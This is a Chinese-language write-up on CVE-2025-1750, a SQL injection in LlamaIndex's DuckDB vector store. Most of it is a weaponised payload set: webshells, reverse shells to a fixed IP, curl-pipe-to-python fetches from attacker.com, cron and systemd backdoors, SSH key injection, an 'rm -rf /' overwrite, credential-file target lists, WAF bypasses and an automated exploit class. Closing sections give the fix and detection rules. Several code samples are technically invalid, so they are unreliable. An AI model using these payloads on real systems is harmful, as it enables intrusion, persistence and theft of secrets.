全方位深入分析CVE-2025-1750——SQL 注入可升级到任意文件读写/潜在 RCE
CVE-2025-1750 是 LlamaIndex DuckDBVectorStore 组件中的 SQL 注入漏洞,由于 DuckDB 的文件系统操作能力,攻击者可通过构造恶意输入实现任意文件读写并最终导致远程代码执行。
LlamaIndex DuckDBVectorStore:SQL 注入可升级到任意文件读写潜在 RCE(CVE-2025-1750)
漏洞概述
CVE-2025-1750 是 LlamaIndex 项目中 llama-index-vector-stores-duckdb 组件存在的一个严重安全漏洞。该漏洞的根本原因是代码中存在经典的 SQL 注入缺陷,但由于底层数据库 DuckDB 的特性,使得这一注入点可以被利用升级为任意文件读写,进而实现远程代码执行。
受影响组件: LlamaIndex (llama-index-vector-stores-duckdb < 0.3.1)
漏洞类型: SQL 注入 → 任意文件读写 → RCE
CVSS 评分: 9.8 (Critical)
受影响版本: < 0.3.1
为什么这个漏洞如此危险
传统意义上,SQL 注入漏洞的危害通常局限于数据库层面:数据泄露、数据篡改、权限提升等。但 CVE-2025-1750 的特殊性在于目标数据库是 DuckDB。
DuckDB 不同于 MySQL、PostgreSQL 这类典型的客户端-服务器架构数据库,它是一个嵌入式分析型数据库(In-Process OLAP Database)。为了支持高效的数据分析场景,DuckDB 内置了大量强大的文件系统操作函数,包括直接读写本地文件系统,读取 CSV、JSON、Parquet 等多种格式文件,执行 Python UDF(用户自定义函数),以及加载动态链接库扩展。
这种设计在数据分析场景下非常实用,但在存在 SQL 注入漏洞时,这些特性就成为了攻击者的武器库。
LlamaIndex 向量存储架构
LlamaIndex 是一个流行的 LLM 应用框架,其中的向量存储组件负责持久化和检索文档的向量表示。llama-index-vector-stores-duckdb 是基于 DuckDB 实现的向量存储后端,主要用于存储文档的向量嵌入,支持高效的相似度搜索,以及管理文档元数据和引用关系。
在这个上下文中,ref_doc_id 参数用于标识需要删除的文档引用 ID,这是一个典型的用户可控输入。
漏洞原理
该漏洞被评定为严重(Critical),因为它不仅允许攻击者操纵数据库查询,还可升级为任意文件读取、写入,并最终导致远程代码执行(RCE)。
受影响组件: LlamaIndex (llama-index-vector-stores-duckdb)
漏洞类型: SQL 注入 (SQL Injection)
漏洞的核心在于 DuckDBVectorStore 类的 delete 方法中,对用户输入的 ref_doc_id 参数未进行充分的清洗或参数化处理,而是直接将其拼接到了 SQL 查询语句中。
由于 DuckDB 是一个进程内(In-Process)的 SQL OLAP 数据库,它拥有非常强大的文件系统访问能力(旨在方便数据导入导出)。当 SQL 注入发生时,攻击者可以直接调用 DuckDB 的系统级函数。
攻击者通过精心构造 ref_doc_id,可以将攻击升级为 RCE。
漏洞源码分析
让我们直接看看漏洞代码。在 llama-index-vector-stores-duckdb < 0.3.1 版本中,duckdb_base.py 文件的 delete 方法实现如下:
def delete(self, ref_doc_id: str, **delete_kwargs: Any) -> None:
self._connection.execute(
f"DELETE FROM {self.table_name} WHERE ref_doc_id = '{ref_doc_id}'"
)这是一个典型的 SQL 注入漏洞点。问题所在很明确:用户输入 ref_doc_id 未经过滤,使用 f-string 直接拼接 SQL 语句,没有使用参数化查询,单引号包裹使得攻击者可以轻松逃逸 WHERE 子句。
当攻击者传入 ' OR 1=1; -- 作为 ref_doc_id 时,实际执行的 SQL 变为:
DELETE FROM vector_data WHERE ref_doc_id = '' OR 1=1; --'这会删除表中的所有记录。
但这只是最基础的攻击。真正的问题在于,DuckDB 支持堆叠查询(Stacked Queries),即用分号分隔多条 SQL 语句。攻击者可以在同一次执行中运行任意 SQL 命令。
SQL 注入到文件读写的攻击链
语法逃逸与堆叠查询
由于 SQL 解释器无法区分开发者的指令和用户的数据,攻击者可以通过构造特殊的字符来改变 SQL 语句的语法结构。
最简单的逃逸 payload:
' UNION SELECT 1,2,3; --这会关闭原本的单引号,并注入额外的查询语句。但更危险的是堆叠查询:
'; DROP TABLE vector_data; --分号让第一条语句正常结束(即使 WHERE 条件为空),然后执行第二条恶意语句。
DuckDB 文件系统函数利用
DuckDB 提供了直接访问文件系统的函数,这在本应是数据隔离层的数据库中是非常少见的。
文件读取
DuckDB 的 read_csv 函数可以读取任意文件:
SELECT * FROM read_csv('/etc/passwd');更危险的 read_text 函数可以读取任意文本内容:
'; SELECT * FROM read_text('/etc/passwd'); --在 Python 代码中注入这个 payload:
ref_doc_id = "'; SELECT * FROM read_text('/etc/passwd'); --"实际执行的 SQL:
DELETE FROM vector_data WHERE ref_doc_id = ''; SELECT * FROM read_text('/etc/passwd'); --'文件写入
DuckDB 的 COPY 命令可以将查询结果导出到文件:
COPY (SELECT 'malicious content') TO '/tmp/pwned.txt';通过 SQL 注入实现:
ref_doc_id = "'; COPY (SELECT 'SYSTEM_PWNED') TO '/tmp/pwned.txt'; --"目录遍历
结合 glob 函数可以探测文件系统:
'; SELECT * FROM glob('/*'); --这能列出根目录下的所有文件和目录。
从文件写入到 RCE
文件写入能力是 RCE 的关键跳板。攻击者可以根据目标环境选择不同的攻击向量。
写入 Webshell
如果目标是一个 Web 应用(如使用 LlamaIndex 的 Flask/FastAPI 服务),攻击者可以写入 Webshell:
ref_doc_id = """'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'; --"""或者 Python Webshell(对于支持 Python 脚本执行的服务器):
ref_doc_id = """'; COPY (SELECT 'import os; os.system("bash -i >& /dev/tcp/attacker-ip/4444 0>&1")') TO '/tmp/shell.py'; --"""配置文件劫持
攻击者可以覆盖用户的 shell 配置文件,在下次登录时执行恶意代码:
# 写入 reverse shell 到 .bashrc
ref_doc_id = f"""; COPY (SELECT 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1') TO '/home/victim/.bashrc'; --"""或者劫持 SSH 认证:
# 写入攻击者的 SSH 公钥
attacker_pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..."
ref_doc_id = f"""; COPY (SELECT '{attacker_pubkey}') TO '/home/victim/.ssh/authorized_keys'; --"""Python 模块劫持
对于 Python 应用,攻击者可以劫持导入的模块:
# 覆盖项目的某个模块文件
ref_doc_id = """'; COPY (SELECT 'import os; os.system("curl http://attacker.com/backdoor.py | python")') TO '/app/project/utils.py'; --"""当下次应用重启或模块重新加载时,恶意代码就会执行。
Python UDF 执行
DuckDB 支持在 SQL 中调用 Python 函数。虽然这通常需要显式启用 Python UDF 支持,但一旦启用,攻击者可以直接在 SQL 中执行 Python 代码:
'; CREATE FUNCTION evil() AS (lambda: __import__('os').system('id')); SELECT evil(); --动态扩展加载
DuckDB 支持加载扩展模块。如果攻击者能够写入一个恶意的 .duckdb_extension 文件或 .so/.dll 文件,然后通过 INSTALL 和 LOAD 命令加载,就能实现代码执行:
# 假设攻击者已经写入了恶意扩展文件
ref_doc_id = """'; INSTALL '/tmp/evil_extension.duckdb_extension'; LOAD 'evil_extension'; --"""不过这种攻击方式比较复杂,需要编译兼容的扩展文件。
不安全的字符串拼接
在修复之前的 DuckDBVectorStore 代码中,开发者在构建 SQL DELETE 语句时,错误地使用了 Python 的 f-string(字符串插值) 直接将用户输入的变量嵌入到 SQL 命令字符串中,而不是使用数据库驱动提供的参数化查询机制。
修复方式:参数化查询
安全的实现应该使用参数化查询:
def delete(self, ref_doc_id: str, **delete_kwargs: Any) -> None:
self._connection.execute(
"DELETE FROM {} WHERE ref_doc_id = ?".format(self.table_name),
[ref_doc_id]
)或者使用 DuckDB 推荐的 f 字符串参数化语法:
def delete(self, ref_doc_id: str, **delete_kwargs: Any) -> None:
self._connection.execute(
f"DELETE FROM {self.table_name} WHERE ref_doc_id = $1",
[ref_doc_id]
)参数化查询的关键在于:用户输入永远不会被解释为 SQL 语法,而是作为纯数据处理。这是防御 SQL 注入的黄金标准。
转义的局限性
开发者可能会考虑对用户输入进行转义( escaping),比如将单引号替换为两个单引号:
safe_ref_doc_id = ref_doc_id.replace("'", "''")但这不是可靠的防御方案。转义规则因数据库而异,容易出现遗漏,可能存在其他逃逸字符,容易在代码维护中被绕过,无法防止所有形式的注入(如二阶注入),参数化查询才是正确的解决方案。
攻击流程
SQL注入逃逸
攻击者输入恶意的 ref_doc_id,例如: ' OR 1=1; -- 这将导致原本的删除语句变成 DELETE FROM table WHERE ref_doc_id = '' OR 1=1; --',从而删除所有数据。
数据外带攻击
对于无法直接看到查询结果的盲注场景,攻击者可以使用数据外带技术:
# 将敏感数据写入可访问的文件
ref_doc_id = """'; COPY (SELECT * FROM read_text('/etc/passwd')) TO '/tmp/stolen.txt'; --"""或者结合 DNS/HTTP 外带(如果 DuckDB 环境支持网络请求):
-- 假设 DuckDB 配置允许网络访问
'; COPY (SELECT api_key FROM secrets_table) TO 'http://attacker.com/exfil'; --任意文件读取
DuckDB 拥有强大的 read_csv 和 read_text 函数。攻击者可以注入 UNION 查询或堆叠查询(Stacked Queries)来读取服务器上的敏感文件。
高价值目标文件
Linux 系统下的敏感文件路径:
/etc/passwd
/etc/shadow
/etc/ssh/sshd_config
/home/*/.ssh/id_rsa
/home/*/.ssh/authorized_keys
/var/log/auth.log
/root/.bash_history
/home/*/.bash_history
/etc/mysql/my.cnf
/etc/environment对于 LLM 应用,还需要关注:
.env # API 密钥、数据库凭证
config/*.yaml # 应用配置
~/.config/openai/api_key.txt # OpenAI API 密钥
~/.cache/huggingface/token # HuggingFace token文件读取 Payload 示例
# 读取 .env 文件
payload = "'; SELECT * FROM read_text('/app/.env'); --"
# 读取所有 Python 源码(可能包含硬编码凭证)
payload = "'; SELECT * FROM glob('**/*.py'); --"
# 读取数据库配置
payload = "'; SELECT * FROM read_text('/etc/mysql/my.cnf'); --"任意文件写入
DuckDB 允许将查询结果写入文件。
'; COPY (SELECT 'malicious_code_here') TO '/var/www/html/shell.php'; --攻击者构造包含恶意代码的字符串(如 Webshell 或 Python 脚本),并将其写入服务器的可执行路径或 Web 目录。
批量文件写入
攻击者可以在一次注入中写入多个文件:
payload = """;
COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/c.php';
COPY (SELECT '<?php eval($_POST["x"]); ?>') TO '/var/www/html/x.php';
COPY (SELECT 'malicious cron job') TO '/etc/cron.d/pwned';
--
"""覆盖写入控制
DuckDB 的 COPY 命令默认会覆盖现有文件。攻击者可以利用这一点:
# 覆盖应用主入口文件
payload = """'; COPY (SELECT 'import os; os.system("rm -rf /")') TO '/app/main.py'; --"""文件编码与格式
COPY 命令支持多种格式选项:
-- 写入 CSV 格式
COPY (SELECT 'data') TO '/tmp/output.csv' (HEADER, DELIMITER ',');
-- 写入 JSON(需要使用特定函数)
COPY (SELECT json_object('key', 'value')) TO '/tmp/output.json';这允许攻击者根据目标应用的需求定制输出格式。
RCE
一旦具备了文件写入能力,RCE 就变得顺理成章。
如果应用有 Web 前端,可以写入 .php 或 .jsp 后门。也可以覆盖系统文件如 .bashrc、.ssh/authorized_keys(写入攻击者的公钥)。或者覆盖项目中的 .py 文件,等待应用重启或重载时执行恶意代码。还可以利用 DuckDB 的 INSTALL 和 LOAD 机制加载恶意的扩展库(如 shellfs),直接执行系统命令。
RCE 攻击向量详解
Webshell 写入
适用于运行在 Web 服务器(Apache/Nginx + PHP/Python)上的应用。
# PHP Webshell
php_webshell = """<?php
header('Content-Type: text/plain');
system($_GET['cmd']);
?>"""
payload = f"""; COPY (SELECT '{php_webshell}') TO '/var/www/html/cmd.php'; --"""访问 http://target.com/cmd.php?cmd=whoami 即可执行命令。
对于 Python Flask/Django 应用:
# Python 脚本后门
python_backdoor = """import subprocess
import flask
app = flask.Flask(__name__)
@app.route('/c')
def cmd():
return subprocess.check_output(flask.request.args.get('c', 'ls'), shell=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
"""
payload = f"""; COPY (SELECT '{python_backdoor}') TO '/tmp/backdoor.py'; --"""然后通过另一个注入点或漏洞触发执行。
Cron Job 写入
写入定时任务实现持久化:
# 每分钟执行一次 reverse shell
cron_job = "* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
payload = f"""; COPY (SELECT '{cron_job}') TO '/etc/cron.d/backdoor'; --"""需要注意文件权限和 cron 服务配置。
SSH 密钥注入
无需密码即可登录:
# 攻击者的公钥
pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil"
# 写入 authorized_keys
payload = f"""; COPY (SELECT '{pubkey}') TO '/home/victim/.ssh/authorized_keys'; --"""
# 或创建新的 SSH 配置
payload = f"""; COPY (SELECT '{pubkey}') TO '/root/.ssh/authorized_keys'; --"""攻击者可以随后直接 SSH 登录到服务器。
Systemd Service 创建
创建系统服务实现自动执行和持久化:
service_content = """[Unit]
Description=Backdoor Service
After=network.target
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
"""
payload = f"""; COPY (SELECT '{service_content}') TO '/etc/systemd/system/backdoor.service'; --"""
# 启用服务(需要另一个注入点或命令执行)
# '; EXECUTE 'systemctl daemon-reload'; EXECUTE 'systemctl enable backdoor'; EXECUTE 'systemctl start backdoor'; --Python 包劫持
劫持 Python 模块加载机制:
# 创建恶意 sitecustomize.py(会在 Python 启动时自动加载)
evil_sitecustomize = """import os, subprocess
subprocess.Popen(['bash', '-c', 'curl http://attacker.com/payload.py | python'])
"""
payload = f"""; COPY (SELECT '{evil_sitecustomize}') TO '/usr/lib/python3.10/sitecustomize.py'; --"""或者劫持项目中常用的库:
# 劫持 requests 库
evil_requests = """import subprocess
def get(*args, **kwargs):
subprocess.run(['curl', 'http://attacker.com/exfil'], data=str(args))
"""
payload = f"""; COPY (SELECT '{evil_requests}') TO '/usr/local/lib/python3.10/dist-packages/requests/__init__.py'; --"""反向 Shell 示例
一旦有了文件写入能力,建立反向 Shell 是常见目标:
bash_reverse_shell = """#!/bin/bash
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
"""
payload = f"""; COPY (SELECT '{bash_reverse_shell}') TO '/tmp/shell.sh'; --"""
# 然后通过其他方式触发执行,或写入到自动执行的位置Python 反向 Shell:
python_reverse_shell = """import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.100',4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(['/bin/bash','-i'])
"""
payload = f"""; COPY (SELECT '{python_reverse_shell}') TO '/tmp/rev.py'; --"""本地复现
为了避免处理繁杂的 llama-index 旧版本依赖冲突(Dependency Hell),我们将采用逻辑复现的方法。我们将编写一个 Python 脚本,直接使用 duckdb 原生库,完全模拟 llama-index-vector-stores-duckdb (< 0.3.1) 中存在漏洞的 delete 方法逻辑。
首先安装必要的库。
# 创建虚拟环境(推荐)
python3 -m venv venv
source venv/bin/activate # Windows 使用 venv\Scripts\activate
# 安装 duckdb
pip install duckdb然后我们运行攻击脚本
import duckdb
import os
class VulnerableDuckDBStore:
def __init__(self):
self._connection = duckdb.connect(":memory:")
self.table_name = "vectors"
self._connection.execute(f"CREATE TABLE {self.table_name} (id TEXT, content TEXT)")
self._connection.execute(f"INSERT INTO {self.table_name} VALUES ('doc1', '这是正常数据')")
self._connection.execute(f"INSERT INTO {self.table_name} VALUES ('doc2', '这是这也是正常数据')")
print(f"[+] 数据库初始化完成,当前记录数: {self._get_count()}")
def _get_count(self):
return self._connection.execute(f"SELECT COUNT(*) FROM {self.table_name}").fetchone()[0]
def delete_vulnerable(self, ref_doc_id: str):
sql = f"DELETE FROM {self.table_name} WHERE id = '{ref_doc_id}'"
print(f"\n[DEBUG] 即将执行的 SQL 语句:\nWait for it...: {sql}\n")
self._connection.execute(sql)
self._connection.commit()
def check_file_created(self, filename):
if os.path.exists(filename):
print(f"✅ [复现成功] 成功利用 SQL 注入在本地写入了文件: {filename}")
with open(filename, 'r') as f:
print(f" 文件内容: {f.read()}")
# 清理文件
os.remove(filename)
else:
print(f"❌ [复现失败] 文件未创建。")
if __name__ == "__main__":
store = VulnerableDuckDBStore()
target_file = "pwned_by_sql_injection.txt"
payload = f"'; COPY (SELECT 'I_CONTROL_YOUR_SERVER') TO '{target_file}'; --"
print(f"[*] 发送恶意 payload: {payload}")
try:
store.delete_vulnerable(payload)
except Exception as e:
print(f"[!] SQL 执行报错 (这也可能是盲注的一部分): {e}")
store.check_file_created(target_file)运行脚本
复现成功
高级攻击场景
无文件落地的内存攻击
除了文件写入,攻击者还可以利用 DuckDB 的内存特性进行无文件攻击。虽然 DuckDB 本身不直接支持内存中的代码执行,但可以结合其他技巧:
利用临时文件
DuckDB 在某些操作中会创建临时文件,攻击者可以尝试操纵这些文件的路径:
-- 获取临时目录路径
'; PRAGMA temp_directory; --利用数据库文件本身
如果 DuckDB 使用文件数据库(而非 :memory:),攻击者可以将恶意代码写入数据库表的 BLOB 字段,然后寻找其他方式触发导出和执行。
-- 创建包含恶意 payload 的表
'; CREATE TABLE payloads (name TEXT, content BLOB); --
'; INSERT INTO payloads VALUES ('evil', 'malicious_binary_data'); --实战利用考虑
信息收集阶段
在执行实际攻击之前,攻击者需要收集环境信息以选择最合适的攻击向量。
探测操作系统和文件系统
# 检测操作系统类型
payload = "'; SELECT value FROM pragma('platform'); --"
# 列出根目录
payload = "'; SELECT * FROM glob('/*'); --"
# 检测当前用户权限
payload = "'; SELECT current_user; --"
# 列出用户目录
payload = "'; SELECT * FROM glob('~/*'); --"探测 Web 应用根目录
# 常见的 Web 目录
web_dirs = [
'/var/www/html',
'/var/www',
'/usr/share/nginx/html',
'/home/www',
'/app/public',
'/app',
]
for dir in web_dirs:
payload = f"""; SELECT * FROM glob('{dir}/*'); --"""探测已安装的 Python 包
# 检查 site-packages 目录内容
payload = "'; SELECT * FROM glob('/usr/local/lib/python*/dist-packages/*'); --"
# 或通过导入检查
payload = "'; SELECT * FROM read_text('/usr/lib/python3.10/os.py'); --"探测运行中的进程
虽然 DuckDB 本身不直接提供进程查询功能,但可以通过读取系统文件间接获取:
# Linux: 读取进程信息
payload = "'; SELECT * FROM read_text('/proc/self/cmdline'); --"
payload = "'; SELECT * FROM read_text('/proc/self/environ'); --"探测网络配置
# 读取网络配置
payload = "'; SELECT * FROM read_text('/etc/network/interfaces'); --"
payload = "'; SELECT * FROM read_text('/etc/hosts'); --"
payload = "'; SELECT * FROM read_text('/etc/resolv.conf'); --"
# 或通过 /proc
payload = "'; SELECT * FROM read_text('/proc/net/tcp'); --"数据窃取技术
敏感数据定位
# 搜索环境变量文件
payload = "'; SELECT * FROM read_text('/proc/self/environ'); --"
# 搜索 .env 文件
payload = "'; SELECT * FROM glob('**/.env'); --"
# 搜索配置文件
payload = "'; SELECT * FROM glob('**/*.yaml'); --"
payload = "'; SELECT * FROM glob('**/*.yml'); --"
payload = "'; SELECT * FROM glob('**/*.json'); --"
# 搜索凭证文件
payload = "'; SELECT * FROM glob('**/*credential*'); --"
payload = "'; SELECT * FROM glob('**/*secret*'); --"
payload = "'; SELECT * FROM glob('**/*password*'); --"数据库元数据提取
# 列出所有表
payload = "'; SHOW TABLES; --"
# 列出表结构
payload = "'; DESCRIBE vectors; --"
payload = "'; PRAGMA table_info(vectors); --"
# 导出整个表
payload = "'; COPY (SELECT * FROM vectors) TO '/tmp/dump.csv'; --"批量数据导出
# 导出多个敏感文件到指定位置
export_payload = """;
COPY (SELECT * FROM read_text('/etc/passwd')) TO '/tmp/exfil/passwd.txt';
COPY (SELECT * FROM read_text('/app/.env')) TO '/tmp/exfil/env.txt';
COPY (SELECT * FROM vectors) TO '/tmp/exfil/vectors.csv';
--
"""绕过技巧
绕过输入过滤
如果应用层对单引号等字符进行了简单过滤,攻击者可以尝试:
# 使用双引号(如果 DDL 中使用了双引号)
payload = '" OR 1=1; --'
# 使用反斜杠转义
payload = "' OR 1=1; --"
# 使用编码(十六进制)
# DuckDB 支持某些字符串函数
payload = "'; COPY (SELECT chr(112) || chr(119) || chr(110)) TO '/tmp/pwn'; --"绕过 WAF 和 IDS
# 使用注释混淆
payload = "'/**/OR/**/1=1;/**/--"
# 使用大小写变异
payload = "' oR 1=1; --"
# 使用空白字符
payload = "' OR\t1=1;\n--"
# 使用数学运算代替字面值
payload = "' OR 2=2; --"
payload = "' OR 5-4=1; --"盲注技术
当无法直接看到查询结果时,可以使用时间盲注:
# 使用延迟函数(如果 DuckDB 支持)
# DuckDB 没有直接的 SLEEP 函数,但可以使用耗时的计算
payload = "'; COPY (SELECT * FROM range(10000000)) TO '/dev/null'; --"
# 或通过文件操作延迟
payload = "'; COPY (SELECT * FROM range(1000000)) TO '/tmp/large_file.csv'; --"布尔盲注:
# 通过 DELETE 操作是否成功推断条件
payload = "' AND (SELECT length((SELECT ref_doc_id FROM vectors LIMIT 1))) > 10; --"影响分析
直接影响
攻击者可以读取数据库中的所有向量数据和文档元数据,可能包含敏感信息、用户数据、商业机密等。通过注入的 DELETE/UPDATE/INSERT 语句,攻击者可以修改或删除数据,破坏数据完整性。更严重的是,通过文件写入和 RCE,攻击者可以完全控制服务器,安装后门、窃取凭证、横向移动。
二次影响
如果受害服务器是内部网络的一部分,攻击者可以进一步攻击内网其他系统。对于 LLM 应用,向量数据被篡改可能导致模型输出错误或有害内容。攻击者还可以删除关键数据导致服务不可用,或利用服务器资源进行加密货币挖掘等恶意活动。数据泄露还可能导致违反 GDPR、CCPA 等数据保护法规,面临法律风险。
检测方法
静态代码检测
开发团队可以使用静态代码分析工具(如 Bandit、Semgrep)扫描代码中的 SQL 注入漏洞模式。
# 使用 Bandit 扫描
bandit -r llama_index/vector_stores/duckdb/
# 使用 Semgrep 自定义规则
semgrep --config=custom-sql-injection.yamlSemgrep 规则示例:
rules:
- id: duckdb-sql-injection
pattern: |
$CONN.execute(f"..." WHERE ... = '{$USER}')
message: "Possible SQL injection in DuckDB query"
severity: ERROR
languages: [python]运行时检测
Web 应用防火墙(WAF)
部署 WAF 检测和阻止恶意 SQL 注入尝试:
# 检测常见 SQL 注入特征
suspicious_patterns = [
r"' OR '1'='1",
r"UNION SELECT",
r"; COPY ",
r"; DROP ",
r"; EXECUTE ",
r"read_csv\(",
r"read_text\(",
]数据库日志监控
监控 DuckDB 的查询日志,检测异常模式:
# 启用 DuckDB 查询日志
con.execute("SET enable_logging=true")
con.execute("SET log_path='/var/log/duckdb.log'")日志分析脚本:
import re
def analyze_duckdb_logs(log_path):
with open(log_path) as f:
for line in f:
if detect_sql_injection(line):
alert_team(line)
def detect_sql_injection(query):
injection_patterns = [
r"COPY.*TO.*'",
r"read_text\(",
r"read_csv\(",
r";.*DROP",
r";.*EXECUTE",
]
for pattern in injection_patterns:
if re.search(pattern, query, re.IGNORECASE):
return True
return False文件完整性监控(FIM)
使用文件完整性监控工具(如 AIDE、Tripwire)检测关键文件的未授权修改:
# 初始化文件数据库
aide --init
aide --update
# 定期检查
aide --check入侵检测系统(IDS)
部署 IDS 检测可疑活动,包括反向 Shell 连接、异常文件访问、异常进程创建、网络连接异常等。
威胁建模
在架构设计阶段进行威胁建模,识别潜在的 SQL 注入风险点。需要追踪用户输入如何流向数据库查询,识别所有接受外部输入的接口。还可以使用 STRIDE 模型评估 Spoofing、Tampering、Repudiation、Information Disclosure、Denial of Service、Elevation of Privilege 威胁。
类似漏洞案例
历史上的 SQL 注入到 RCE
CVE-2025-1750 不是第一个通过 SQL 注入实现 RCE 的案例。类似漏洞包括:
CVE-2023-29357: Microsoft SharePoint Server 权限提升
通过精心构造的序列化数据结合 SQL 注入实现代码执行。
CVE-2020-0618: Azure DevOps Server RCE
SQL 注入导致的远程代码执行,通过构造特殊的序列化 payload。
Apache Struts2 系列漏洞
虽然主要是 OGNL 表达式注入,但多条攻击链结合 SQL 注入实现 RCE。
PostgreSQL COPY 命令利用
PostgreSQL 的 COPY ... FROM PROGRAM 功能(需要 superuser 权限)曾多次被用于 SQL 注入到 RCE。
-- PostgreSQL 类似攻击
COPY (SELECT '') FROM PROGRAM 'rm -rf /';DuckDB 的文件操作能力类似于 PostgreSQL 的某些特性,但更加开放。
向量数据库安全现状
随着 LLM 和 RAG 应用的兴起,向量数据库(如 Pinecone、Weaviate、Qdrant、Milvus、Chroma)的安全问题逐渐受到关注。常见安全问题包括:许多向量数据库默认无认证或弱认证,在查询构建过程中的输入验证不足,访问控制列表(ACL)实现不当,向量数据本身包含敏感信息,以及依赖库中的已知漏洞等供应链风险。
CVE-2025-1750 是这个新兴安全领域的典型代表,警示开发者在集成 AI 基础设施时需要同样重视安全实践。
深入技术分析
DuckDB 架构特性与安全影响
嵌入式数据库的特权模型
DuckDB 作为嵌入式数据库,其安全模型与传统的客户端-服务器数据库有本质区别。DuckDB 运行在宿主进程的地址空间,继承宿主进程的所有权限。设计上允许直接读写文件,用于数据分析场景。它没有内置的访问控制机制(不像 MySQL 的 GRANT/REVOKE)。
这意味着 DuckDB 的权限边界完全取决于宿主应用的权限。如果宿主应用以 root 或高权限用户运行,DuckDB 就拥有相同的文件系统访问权限。
进程内执行的代码执行风险
# DuckDB Python UDF 示例
import duckdb
con = duckdb.connect(":memory:")
# 创建 Python UDF(需要启用 Python 支持)
con.execute("CREATE FUNCTION evil() AS (lambda: __import__('os').system('id'))")
# 调用 UDF
con.execute("SELECT evil()")如果应用启用了 Python UDF 支持,SQL 注入可以直接通过 UDF 执行任意 Python 代码。
漏洞触发条件分析
前置条件
成功利用 CVE-2025-1750 需要满足多个条件:使用 llama-index-vector-stores-duckdb < 0.3.1 版本,攻击者能够触发 delete 方法调用,能够控制传入的 ref_doc_id 值,且 DuckDB 进程对目标文件系统路径有读写权限。
攻击面分析
delete 方法可能在多个场景被调用:REST API 或 GraphQL 接口暴露文档删除功能,Web 管理后台允许删除文档,定时任务或工作流中的清理操作,或其他业务逻辑触发的删除操作。
权限要求
根据部署方式不同,利用难度也不同:
部署方式 | 典型权限 | 利用难度 | 影响范围 |
本地开发环境 | 当前用户 | 低 | 仅限开发机 |
容器化部署 | 容器用户(通常是非 root) | 中 | 容器内 |
云服务托管 | 受限用户 | 中高 | 租户隔离范围内 |
物理机/VM 部署 | 可能是 root | 低 | 整个服务器 |
环境限制因素
某些环境配置可能限制攻击效果:
# 只读文件系统
payload = "'; COPY (SELECT 'pwn') TO '/readonly/pwn.txt'; --"
# 可能失败:PermissionError 或 IOError
# chroot 环境
payload = "'; COPY (SELECT 'pwn') TO '/etc/passwd'; --"
# 可能失败:路径映射到 chroot 内
# 能力限制(Linux capabilities)
payload = "'; COPY (SELECT 'pwn') TO '/root/.ssh/authorized_keys'; --"
# 可能失败:即使进程是 root,如果没有 CAP_DAC_OVERRIDE攻击复杂度分析
基础攻击(CVSS:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
最简单的攻击只需要识别存在 SQL 注入的接口,构造基本的 payload 实现文件写入,然后验证文件写入成功。
高级攻击(持久化与渗透)
payload1 = "'; SELECT * FROM read_text('/etc/passwd'); --"
payload2 = """'; COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/tmp/stage.php'; --"""
payload3 = """; COPY (SELECT * FROM read_text('/tmp/stage.php')) TO '/var/www/html/shell.php'; --"""
payload4 = "'; DROP TABLE IF EXISTS attack_log; --"自动化攻击工具
攻击者可能开发自动化工具来利用此类漏洞:
class DuckDBExploit:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
def check_vulnerable(self):
payload = "'; SELECT 1; --"
return self._send_payload(payload)
def enum_filesystem(self):
paths = ['/', '/etc', '/home', '/var', '/app']
for path in paths:
payload = f"""; SELECT * FROM glob('{path}/*'); --"""
self._send_payload(payload)
def read_file(self, filepath):
payload = f"""; SELECT * FROM read_text('{filepath}'); --"""
return self._send_payload(payload)
def write_webshell(self, webroot):
shell_content = "<?php system($_GET['c']); ?>"
payload = f"""; COPY (SELECT '{shell_content}') TO '{webroot}/c.php'; --"""
return self._send_payload(payload)不同场景下的利用差异
本地 RAG 应用
运行在用户本地机器,可能以普通用户权限运行,通常没有网络暴露。文件系统权限受限于当前用户,难以实现远程控制(除非配合其他漏洞),主要是数据泄露风险。
payload = "'; COPY (SELECT * FROM read_text('~/.ssh/id_rsa')) TO '/tmp/stolen_key.txt'; --"云端 API 服务
运行在容器或云函数中,有网络暴露,可能有云元数据访问权限。攻击者可以访问云元数据服务(如 AWS IMDSv1),写入 Webshell 实现远程控制,窃取云凭证。
payload = """'; COPY (SELECT http_get('http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance')) TO '/tmp/aws_creds.json'; --"""企业内部部署
运行在内网服务器,可能有高权限,连接内部系统。攻击者可以横向移动到内网其他系统,窃取企业机密数据,部署持久化后门。
pubkey = "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil"
payload = f"""; COPY (SELECT '{pubkey}') TO '/root/.ssh/authorized_keys'; --"""
payload = """'; COPY (SELECT * FROM glob('/var/www/*/config.php')) TO '/tmp/internal_configs.txt'; --"""防御深度分析
纵深防御策略
输入验证
import re
def validate_ref_doc_id(ref_doc_id: str) -> bool:
if not ref_doc_id:
return False
if len(ref_doc_id) > 100:
return False
if not re.match(r'^[a-zA-Z0-9_-]+$', ref_doc_id):
return False
return True
def delete(self, ref_doc_id: str, **delete_kwargs: Any) -> None:
if not validate_ref_doc_id(ref_doc_id):
raise ValueError("Invalid ref_doc_id")
# 参数化查询
self._connection.execute(
"DELETE FROM {} WHERE ref_doc_id = ?".format(self.table_name),
[ref_doc_id]
)数据库权限隔离
即使被注入,限制 DuckDB 的文件系统访问范围:
import duckdb
import tempfile
# 使用受限的临时目录
temp_dir = tempfile.mkdtemp(prefix='duckdb_sandbox_')
con = duckdb.connect(":memory:")
# 限制文件系统访问(DuckDB 0.9.0+ 支持)
con.execute(f"PRAGMA temp_directory='{temp_dir}'")
